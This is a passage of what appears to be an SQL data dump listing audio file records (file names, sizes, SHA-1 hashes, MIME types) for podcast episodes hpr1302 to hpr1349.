(1302,'hpr1302.mp3','mp3',6311442,'57c8e516f52a44f71c6c9cd7a077371adb92a563','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1302,'hpr1302.ogg','ogg',6797949,'2d28073d3608afb1c75e0c9155fda25a462aeed1','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1302,'hpr1302.spx','spx',2818400,'29a9e6db0c231c84c03a3b6dbd6f788ed3772ee9','application/ogg; charset=binary','Ogg data, Speex audio'),
(1303,'hpr1303.mp3','mp3',13124846,'675581f2b707a309be9493a6137717f14b547522','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1303,'hpr1303.ogg','ogg',14186242,'715ecdf5c95f7d82bff267c2eb21906f41d9f1cb','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1303,'hpr1303.spx','spx',5861398,'bf015a76255a44399871bab6f1303f28d5f8db97','application/ogg; charset=binary','Ogg data, Speex audio'),
(1304,'hpr1304.mp3','mp3',19691602,'517a62148db502c11f85dd6cc275f7a6959fbdac','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1304,'hpr1304.ogg','ogg',22375071,'cae175470e2db69b6593985a4f1e0f1c7b7e6bfa','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1304,'hpr1304.spx','spx',8794135,'cb0790f82e1b8bd642e8a3f42973671d17630439','application/ogg; charset=binary','Ogg data, Speex audio'),
(1305,'hpr1305.mp3','mp3',5578269,'a8bee2b6484babfb863abfb2072707b6e1fa6e8c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1305,'hpr1305.ogg','ogg',6122012,'e6106cfd2ba65370dab2dcfc9dd4e142c1c228e7','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1305,'hpr1305.spx','spx',2491022,'fbfd47142a5425a5ad4cede6a6f94480912159f1','application/ogg; charset=binary','Ogg data, Speex audio'),
(1306,'hpr1306.mp3','mp3',10438394,'79ef2d236d5a012b1593f40330c338208d70d35d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1306,'hpr1306.ogg','ogg',10328616,'dff995f54a035497fa7966dd7ac6feacaa94d1d5','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1306,'hpr1306.spx','spx',4661600,'d7f01758fc61729230ea3731b2ffb96e963eacab','application/ogg; charset=binary','Ogg data, Speex audio'),
(1307,'hpr1307.mp3','mp3',7716826,'c7b0969f3022ec0ecf0e25251700b74bbfb46100','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1307,'hpr1307.ogg','ogg',8112779,'2828a90319a40864f77bb4629e2ac368280e9a01','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1307,'hpr1307.spx','spx',3446083,'bf456d6aa373f03c90bed3e46a2387b64a220344','application/ogg; charset=binary','Ogg data, Speex audio'),
(1308,'hpr1308.mp3','mp3',9218161,'39ee48707634966ed38d6397f128be56bd713b5c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1308,'hpr1308.ogg','ogg',9994004,'aec2cbf4b2e996c7166c187d900c93bd6704d0a5','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1308,'hpr1308.spx','spx',4116664,'e3c71924757fcdc35215e1df8b02a22af9a66751','application/ogg; charset=binary','Ogg data, Speex audio'),
(1309,'hpr1309.mp3','mp3',41109269,'7f2e4f4d4bc8d3d896ed3197a739d309bc95a2b7','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1309,'hpr1309.ogg','ogg',45037683,'9cab7142a7789be56d46002219f0189ade79ecc6','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1309,'hpr1309.spx','spx',18359507,'5c74b121eb4fe9e121f7077da3dede7a8242f577','application/ogg; charset=binary','Ogg data, Speex audio'),
(1310,'hpr1310.mp3','mp3',16010837,'ff90aa93e283a8f6733f45628aa4650914c52cc1','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1310,'hpr1310.ogg','ogg',17712338,'75a08872c19aa57039249d0a4054710e94cd2963','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1310,'hpr1310.spx','spx',7150319,'df9fa9519f501c59c6373fd696d9a5e852fb65be','application/ogg; charset=binary','Ogg data, Speex audio'),
(1311,'hpr1311.mp3','mp3',11686410,'1cd6f06ba949ae17be0897f02e128039e9410bbd','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1311,'hpr1311.ogg','ogg',11431259,'be2c23d68520f6feb1620e0e9e94cf561bf78db1','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1311,'hpr1311.spx','spx',5218949,'0e2782930a42b145ed27b07edbdfbce7d26f88ff','application/ogg; charset=binary','Ogg data, Speex audio'),
(1312,'hpr1312.mp3','mp3',25580872,'0fdd0cb3a6af73919d310cbba7699c4e13204831','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1312,'hpr1312.ogg','ogg',28270937,'afbef03aab973079c59ce018afb381e1af55a209','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1312,'hpr1312.spx','spx',11424372,'2b35d5fbf9eb6d5a7923f994b2981536f543ede6','application/ogg; charset=binary','Ogg data, Speex audio'),
(1313,'hpr1313.mp3','mp3',5705215,'04a0bd4cdcb0ff062d2f4c9ac5d704911eb107ca','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1313,'hpr1313.ogg','ogg',6812166,'c422a98f8ad576a43245e3c68f86ec31bf0543ad','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1313,'hpr1313.spx','spx',2547745,'08a4bd50e1b51f399dd855b2375844a2ddf530c8','application/ogg; charset=binary','Ogg data, Speex audio'),
(1314,'hpr1314.mp3','mp3',13843502,'83bee306bc5e0379dce462056bc100627f04ba13','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1314,'hpr1314.ogg','ogg',15260407,'0aaabc07fcd7e502e96b19e26ed102b53abc55ba','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1314,'hpr1314.spx','spx',6182286,'98890ef30f9d6aa2db4444888e2a0e686c021596','application/ogg; charset=binary','Ogg data, Speex audio'),
(1315,'hpr1315.mp3','mp3',10898705,'f3672af956d19f358c3fa33b185426df6ea874ae','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1315,'hpr1315.ogg','ogg',11910600,'8ec8ed702ea89212baee2a3308a8de83f899d230','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1315,'hpr1315.spx','spx',4867238,'9b24c1b7006d8112cff890d5d11ef9d83d0d541a','application/ogg; charset=binary','Ogg data, Speex audio'),
(1316,'hpr1316.mp3','mp3',10804661,'55bfb31a3a074f04dcd9b258b726c5a23d80a7c1','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1316,'hpr1316.ogg','ogg',9073426,'a928e4f44fd1ed976ca2f40920a115509adcdf89','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1316,'hpr1316.spx','spx',4825172,'5312a7fd149fa6a24e327e84eba26fdbda3222b2','application/ogg; charset=binary','Ogg data, Speex audio'),
(1317,'hpr1317.mp3','mp3',11041708,'47ed00ae9277906cfa1ecaadf2508784e706c883','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1317,'hpr1317.ogg','ogg',13167101,'ce037f8bf3c28bfa095304d7374cd6650c1068c7','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1317,'hpr1317.spx','spx',4930982,'e8523d4421551302ee7feaa9051f3ac0193016a1','application/ogg; charset=binary','Ogg data, Speex audio'),
(1318,'hpr1318.mp3','mp3',8924954,'2f6ca2a78bc05876ab77c5f9cf576ce9323a457e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1318,'hpr1318.ogg','ogg',9096387,'681b20e2c94824533e746ccddeec8772e3bb6eae','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1318,'hpr1318.spx','spx',3985675,'f9110b34a03fd9714496ec5e8e0eef77927e390c','application/ogg; charset=binary','Ogg data, Speex audio'),
(1319,'hpr1319.mp3','mp3',11539097,'e05412d37bf5c6a685c712516c02eb7e3d7dfa63','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1319,'hpr1319.ogg','ogg',13004025,'45d58145f339a8c4ce65a6b7936fa4626a8e9c10','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1319,'hpr1319.spx','spx',5153169,'e18052e38cdaa1a05769d366994d9817367f686e','application/ogg; charset=binary','Ogg data, Speex audio'),
(1320,'hpr1320.mp3','mp3',3314059,'0a248fa6b83bdb0495c90e01de50e1b8fa387e5e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1320,'hpr1320.ogg','ogg',3526069,'33045d82887a93b6aa1f278021328be9a51f1c58','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1320,'hpr1320.spx','spx',1479709,'2ce370d3dac584f70d108256ba44f26ed46ce91b','application/ogg; charset=binary','Ogg data, Speex audio'),
(1321,'hpr1321.mp3','mp3',4410359,'f1bb38d40030b3615c937be00a62cef424084d77','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1321,'hpr1321.ogg','ogg',4745647,'8823ca8bdcbc9ec013ca94e3d958e06e90808d1d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1321,'hpr1321.spx','spx',1969425,'8c65ae1719dce51c3ae735f5f88fd5360a1c3128','application/ogg; charset=binary','Ogg data, Speex audio'),
(1322,'hpr1322.mp3','mp3',23345594,'637eef9dfa56feaba93441e3af1c1fcfa80031dd','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1322,'hpr1322.ogg','ogg',21533443,'e5925554b896aafc1b5e85f1637ce8eecffda31c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1322,'hpr1322.spx','spx',10426068,'2de482b9cbfb75c60ee212a2a98dba5c7fc5552e','application/ogg; charset=binary','Ogg data, Speex audio'),
(1323,'hpr1323.mp3','mp3',30892675,'0d842f89346a9958a11309ece1a97f9c9ac2449a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1323,'hpr1323.ogg','ogg',32458122,'08a801ba9a12a8e1e86b4107068064a65e9d3336','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1323,'hpr1323.spx','spx',13796730,'16166bc12ae985e25e0be1e54966f12063a7e383','application/ogg; charset=binary','Ogg data, Speex audio'),
(1324,'hpr1324.mp3','mp3',7017951,'50f5a525a06f920b2867d224b17d342de7b8f100','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1324,'hpr1324.ogg','ogg',7401894,'eedee9e339437a4f879449463ec7e95f4333166d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1324,'hpr1324.spx','spx',3133982,'10057b1676fff04a1d46efe38c9a966124a6562a','application/ogg; charset=binary','Ogg data, Speex audio'),
(1325,'hpr1325.mp3','mp3',6699463,'cfacdf3139a703264e18f419c8ac7ba687d52611','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1325,'hpr1325.ogg','ogg',7311249,'16efb23099a5fbd42ed8a8c26315ec131614352a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1325,'hpr1325.spx','spx',2991822,'3265882ad10774488b5b318a64a3e9ff5e78cb89','application/ogg; charset=binary','Ogg data, Speex audio'),
(1326,'hpr1326.mp3','mp3',4567097,'5c1f0ab06d566efde20fe6549c842d53abf3a647','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1326,'hpr1326.ogg','ogg',4683509,'cf76ade160228f746cb0235c2e0b1ccce3e63eed','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1326,'hpr1326.spx','spx',2039368,'ce0aef64558f147f88b394f26ef1364188d9b362','application/ogg; charset=binary','Ogg data, Speex audio'),
(1327,'hpr1327.mp3','mp3',12699548,'67379f73036cebcdbb81d5fff7430e787fe01696','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1327,'hpr1327.ogg','ogg',13970593,'69569dc7d9a13eceff98797a976a1d7c2a68f9b0','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1327,'hpr1327.spx','spx',5671370,'c6b056389904129315233088d9e7318813e97fcc','application/ogg; charset=binary','Ogg data, Speex audio'),
(1328,'hpr1328.mp3','mp3',16521925,'462a160bcf003d50fd11c7f0fc3c7c792f20aa0d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1328,'hpr1328.ogg','ogg',16126044,'f986a9df77935b4c3d00469764783b40cac86649','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1328,'hpr1328.spx','spx',7378638,'6b6f38c3fa2e2713b9f60fedf59a2efa0054e483','application/ogg; charset=binary','Ogg data, Speex audio'),
(1329,'hpr1329.mp3','mp3',14095725,'dbc6bf7b5ff9122f09d460171ec25ab3f7f9806c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1329,'hpr1329.ogg','ogg',15528405,'9e7dcfbaa26467a1cad1ba1c7ec42b9c755d7cbd','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1329,'hpr1329.spx','spx',6294969,'ee85ab04f7355b7080b079776cd5fe721c00e21d','application/ogg; charset=binary','Ogg data, Speex audio'),
(1330,'hpr1330.mp3','mp3',10261773,'963546998fcd6c14b429988ae4d7b54dabbf3db4','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1330,'hpr1330.ogg','ogg',11076868,'d6424caca17b3ce34110aea185eaa6137018d9e3','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1330,'hpr1330.spx','spx',4582665,'733616847db77cba81748139c624e81312db397f','application/ogg; charset=binary','Ogg data, Speex audio'),
(1331,'hpr1331.mp3','mp3',8538358,'79102ef03844635511d74bf732a04f41baa9eb0e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1331,'hpr1331.ogg','ogg',9152366,'394256192dd73ea3cbe529bed12ee3cfd51344f5','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1331,'hpr1331.spx','spx',3812977,'d7a668b9bf0505cfdbdd52971df17ddbc2d647c8','application/ogg; charset=binary','Ogg data, Speex audio'),
(1332,'hpr1332.mp3','mp3',2592445,'2382a959cb43f0110284d739fae697bc40f8dbaf','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1332,'hpr1332.ogg','ogg',2887225,'2f2939e669ea40e6ab8f2a281743aa5176b39a72','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1332,'hpr1332.spx','spx',1157442,'61bf0bb9be06fcd2746e0d68d66ebdefbe3c486d','application/ogg; charset=binary','Ogg data, Speex audio'),
(1333,'hpr1333.mp3','mp3',7994593,'5655752aa7b15f2de28f259bf3e6a79ab9e0f1b8','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1333,'hpr1333.ogg','ogg',6769812,'70eb7a929f9577b2d03148c687ec7b6649684e6a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1333,'hpr1333.spx','spx',3570155,'407cb81b6189ce24e018a782c7e7570e8a05306f','application/ogg; charset=binary','Ogg data, Speex audio'),
(1334,'hpr1334.mp3','mp3',66610227,'10fd9de1d23dd72ba48e64f52a96e33fd6d594b0','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1334,'hpr1334.ogg','ogg',68775618,'82041e826565204fd692029163c879fe9f5e0111','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1334,'hpr1334.spx','spx',29748428,'1976e5d31aaf89c08db2e38aaddf6dccdd63f906','application/ogg; charset=binary','Ogg data, Speex audio'),
(1335,'hpr1335.mp3','mp3',9463832,'91f3ddf2288c349ff43ec109ff9a3333a99a48b3','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1335,'hpr1335.ogg','ogg',10288883,'cdb8b3f9bb31e1802e97f98abbe5667f3d54b66f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1335,'hpr1335.spx','spx',4226458,'2339eb4fa6c88f5167f708850fe43326b88ffaf2','application/ogg; charset=binary','Ogg data, Speex audio'),
(1336,'hpr1336.mp3','mp3',5864729,'eba52fa05a2b170c57ca95d4db800e849a0fa948','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1336,'hpr1336.ogg','ogg',6369770,'19cc831fe81d145f0856095a825d9c82b123df35','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1336,'hpr1336.spx','spx',2619646,'3b1e7387224435f740f6d66a7d688886fc153234','application/ogg; charset=binary','Ogg data, Speex audio'),
(1337,'hpr1337.mp3','mp3',12754023,'7a18ff0a43758a759a100bb1603420cedb8ca1b0','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1337,'hpr1337.ogg','ogg',13289893,'fa188aa16d1441043881e172449ebe2b15d83d3e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1337,'hpr1337.spx','spx',5695758,'6ee4f6afc586d55bbef1b925d67f72a3ddbbc50b','application/ogg; charset=binary','Ogg data, Speex audio'),
(1338,'hpr1338.mp3','mp3',13177478,'f3ca9008e7abc1297086c7cbbe84e955eb63ef3d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1338,'hpr1338.ogg','ogg',13966613,'398eeef3262c4b31201e03fad46c66192b285e34','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1338,'hpr1338.spx','spx',5884861,'a4a98002507e5d0e52f25f7c17c75aa32cc3009c','application/ogg; charset=binary','Ogg data, Speex audio'),
(1339,'hpr1339.mp3','mp3',14113097,'d3b3050e97f73895943bcb550a5d03b930f43685','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1339,'hpr1339.ogg','ogg',15089019,'d37b9bf07e7f438425aaf370bde751688f733a55','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1339,'hpr1339.spx','spx',6302760,'6cdc3295436f66913a487a4f2d7d934aba5b4c88','application/ogg; charset=binary','Ogg data, Speex audio'),
(1339,'hpr1339.wav','wav',155580730,'e4300748305e7fb9f102d7bd4d40239757910ddb','audio/x-wav; charset=binary','RIFF (little-endian) data, WAVE audio, Microsoft PCM, 16 bit, mono 44100 Hz'),
(1340,'hpr1340.mp3','mp3',38830706,'a9ef8d5a5f1b8c1e854442fdc31d2ede39673aef','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1340,'hpr1340.ogg','ogg',41905114,'9194846eae1d072b60360d32e474e89aebb759aa','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1340,'hpr1340.spx','spx',17341887,'23f9a6a3a2ebe51520844e7a15a1ad20c38484b5','application/ogg; charset=binary','Ogg data, Speex audio'),
(1341,'hpr1341.mp3','mp3',10221661,'5ddec3ea699358eff343112b90915b32da487db6','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1341,'hpr1341.ogg','ogg',11406137,'7f50a6020154832b57ce15189e137fc50d8d61f6','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1341,'hpr1341.spx','spx',4564749,'3b3a4faf6ee05fc8e3f1e53851934fb44cff4451','application/ogg; charset=binary','Ogg data, Speex audio'),
(1342,'hpr1342.mp3','mp3',5595636,'38e86bbaecfd12e638b5c1cb5fca5c41ce20c72f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1342,'hpr1342.ogg','ogg',4873376,'2f03e482db74d9f4719dfe7cbaef59762c4937e3','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1342,'hpr1342.spx','spx',2498768,'ba6ce8d993967d305263c9ce0d22f6373120c0ba','application/ogg; charset=binary','Ogg data, Speex audio'),
(1343,'hpr1343.mp3','mp3',8827981,'ddd55bc2f8cacbf989e89337948cb0f23737e47a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1343,'hpr1343.ogg','ogg',9688224,'ad3822eba519a68e6e6f03e42b17033f57712457','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1343,'hpr1343.spx','spx',3942374,'e6c49ee3a8b16e1497057883ee4daadca711935b','application/ogg; charset=binary','Ogg data, Speex audio'),
(1344,'hpr1344.mp3','mp3',2386199,'106413038aa06c5bad93068c8850036c8f6158a9','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1344,'hpr1344.ogg','ogg',2676021,'335d0e0120e8621bf30a0cfa0b35cf9f6920c3b7','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1344,'hpr1344.spx','spx',1065345,'1b0984ba98a748c7b98059d14e4ee2fc677537e5','application/ogg; charset=binary','Ogg data, Speex audio'),
(1345,'hpr1345.mp3','mp3',12088269,'1626df4df1fe1e648679406d903adc19664d20e4','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1345,'hpr1345.ogg','ogg',13480004,'955f3a3acd4d28d24ec042497e82bb171a41d7df','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1345,'hpr1345.spx','spx',5398579,'9f188b8ba0cdab8705831108ae1e4c0bcea117e0','application/ogg; charset=binary','Ogg data, Speex audio'),
(1346,'hpr1346.mp3','mp3',8410046,'d5171916d1dee0625eb0cd9c8976373e9d64d26c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1346,'hpr1346.ogg','ogg',9376324,'e9fc9864df6f0ca057b14fc8b07df374d9e3b20e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1346,'hpr1346.spx','spx',3755732,'7feaa28bf15631f5cfcf9b2513d536355b44b442','application/ogg; charset=binary','Ogg data, Speex audio'),
(1347,'hpr1347.mp3','mp3',8566754,'86c7506b401b1ebf728979c08c6f5b8570ea805e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1347,'hpr1347.ogg','ogg',9267670,'b914918009783785971f809c136066d2971cfbaf','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1347,'hpr1347.spx','spx',3825671,'5482e9737ff5ab73666c42f3396f5e732e99073a','application/ogg; charset=binary','Ogg data, Speex audio'),
(1348,'hpr1348.mp3','mp3',7482348,'8292313c3ae0510c86e884fe2612a1466d12f86f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1348,'hpr1348.ogg','ogg',8869607,'8305e657e1e2747372f9ff9f786c26ecf0c0795b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1348,'hpr1348.spx','spx',3341388,'91502817bcfdd2939be5b82737679edf93208a8f','application/ogg; charset=binary','Ogg data, Speex audio'),
(1349,'hpr1349.mp3','mp3',8551959,'309d64c0b55bbf48b4ab3bd5466e7d596d64e1bb','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1349,'hpr1349.ogg','ogg',9730247,'2dba3e6d14bdb2aae6590523cc11d5798a29913e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
